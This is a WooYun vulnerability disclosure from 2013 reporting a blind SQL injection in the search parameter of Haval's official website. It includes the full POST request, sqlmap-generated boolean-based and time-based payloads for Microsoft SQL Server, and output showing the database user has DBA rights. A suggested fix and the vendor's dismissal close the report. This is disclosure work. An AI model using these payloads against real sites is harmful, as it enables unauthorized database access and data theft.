当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-040013

漏洞标题：长城汽车之哈佛官网SQL盲注

相关厂商：haval.com.cn

漏洞作者： lpcdma

提交时间：2013-10-18 18:52

修复时间：2013-10-23 18:52

公开时间：2013-10-23 18:52

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-18： 细节已通知厂商并且等待厂商处理中
2013-10-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

长城汽车之哈佛官网SQL盲注，权限很高。

详细说明：

请求类型：POST
注入页面：http://www.haval.com.cn/haval_newslist.html
注入参数：search[keyword]

POST /haval_newslist.html HTTP/1.1
Content-Length: 71
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.haval.com.cn:80/
Cookie: ASPSESSIONIDSCSDTDCR=GOEFFDMCKCENIGBCFMAKPEFP; ASPSESSIONIDACBATAQC=MOGHFDADCPMEJIHCMPOBIJPE
Host: www.haval.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
p=1&search%5bkeyword%5d=1

漏洞证明：

[08:45:17] [INFO] parsing HTTP request from '1.txt'
[08:45:17] [INFO] resuming back-end DBMS 'microsoft sql server' 
[08:45:17] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: search[keyword]
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: p=1&search[keyword]=-5495') OR (3753=3753) AND ('sYuZ' LIKE 'sYuZ
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: p=1&search[keyword]=-1475') OR 1179=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND ('ImlK' LIKE 'ImlK
---
[08:45:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2012
[08:45:18] [INFO] testing if current user is DBA
[08:45:19] [WARNING] reflective value(s) found and filtering out
current user is DBA:    True
[08:45:20] [INFO] fetched data logged to text files under '/home/santoku/pen/sqlmap/output/www.haval.com.cn'


上传不了截图，只有这样。

修复方案：

过滤参数"search[keyword]"

版权声明：转载请注明来源 lpcdma@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-10-23 18:52

厂商回复：

最新状态：

暂无